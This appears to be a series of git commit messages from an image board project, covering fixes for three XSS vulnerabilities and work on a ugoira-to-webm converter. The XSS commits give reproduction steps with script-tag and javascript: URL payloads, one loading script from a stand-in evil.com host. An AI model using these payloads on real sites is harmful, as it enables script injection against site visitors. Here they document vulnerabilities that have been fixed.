Disable comment submit button to prevent double posting.
Merge pull request #2265 from evazion/misc/disable-submit-buttons

Disable comment submit button to prevent double posting.
Fix XSS in pool names in /pools/gallery page.

1) Set a pool name to '<script>alert("xss")</script>'.
2) Wait for people to view it in /pools/gallery.

At first glance the fact that the pool name is truncated to 80 chars
appears to limit how much can be done in the exploit. This poses no
problem though, since someone could inject '<script src="http://www.evil.com/evil.js"></script>' instead.
Fix XSS in source link on post show page.

This vulnerability allows someone to create a source link that appears
to lead to Pixiv like normal, but that actually executes Javascript code
when clicked.

1) Set the source of a post to javascript:"http://img1.pixiv.net/img/xss/";alert("xss");
2) Wait for someone to click the source link in the Information sidebar.
3) Profit.

The cause is that the regexes for detecting Pixiv URLs aren't anchored
to the front of the string using \A. This allows non-http:// links to be
created.
Fix XSS in /artist_versions.

1) Put `<script>alert("xss 1")</script>` in the Other Names field in an
   artist entry.
2) Put `<script>alert("xss 2")</script>` in the URLs field.
3) Trick someone into the viewing the history page for that artist.
Merge pull request #2273 from evazion/xss/post-source

Fix XSS in source link on post show page.
Merge pull request #2274 from evazion/xss/pool-gallery

Fix XSS in pool names in /pools/gallery page.
Merge pull request #2275 from evazion/xss/artist-history

Fix XSS in /artist_versions.
Fix deleted posts link not being visible to basic members
work on ugoira converter
Various fixes to ugoira->webm converter

* Fix regex for getting frame data not working if agent is logged in to
pixiv
* Fix #unpack not returning the unpacked folder
* Fix frame_data being inaccessible because it was a local variable
* Fix images getting put in tmpdir, when they're expected to be in
tmpdir/images
* Fix deleting the tmpdir manually (it gets deleted automatically)
* Fix output webm being put in tmpdir (which gets deleted) instead of
write_path
Fix last frame of webms not displaying right in some browsers

Some browsers like Chrome (and some video players like MPC-HC) do not
display the last frame of a webm (or they display it, but only very
briefly) if set to loop. This commit is a hack to force the last frame
to display for the correct amount of time by duplicating it.
implement ugoira converter
integrate ugoira converted into upload flow
minor sanitization of file extensions
Fix webm converter outputting non-webm videos

mkvmerge didn't realize it was supposed to output a webm specifically
because write_path does not have a file extension. The --webm option
tells it this instead.
refactor
integrate ugoiras into zip+webm+preview
add ugoira support in view
fully implement ugoira js player, upgrade jquery and jquery-ui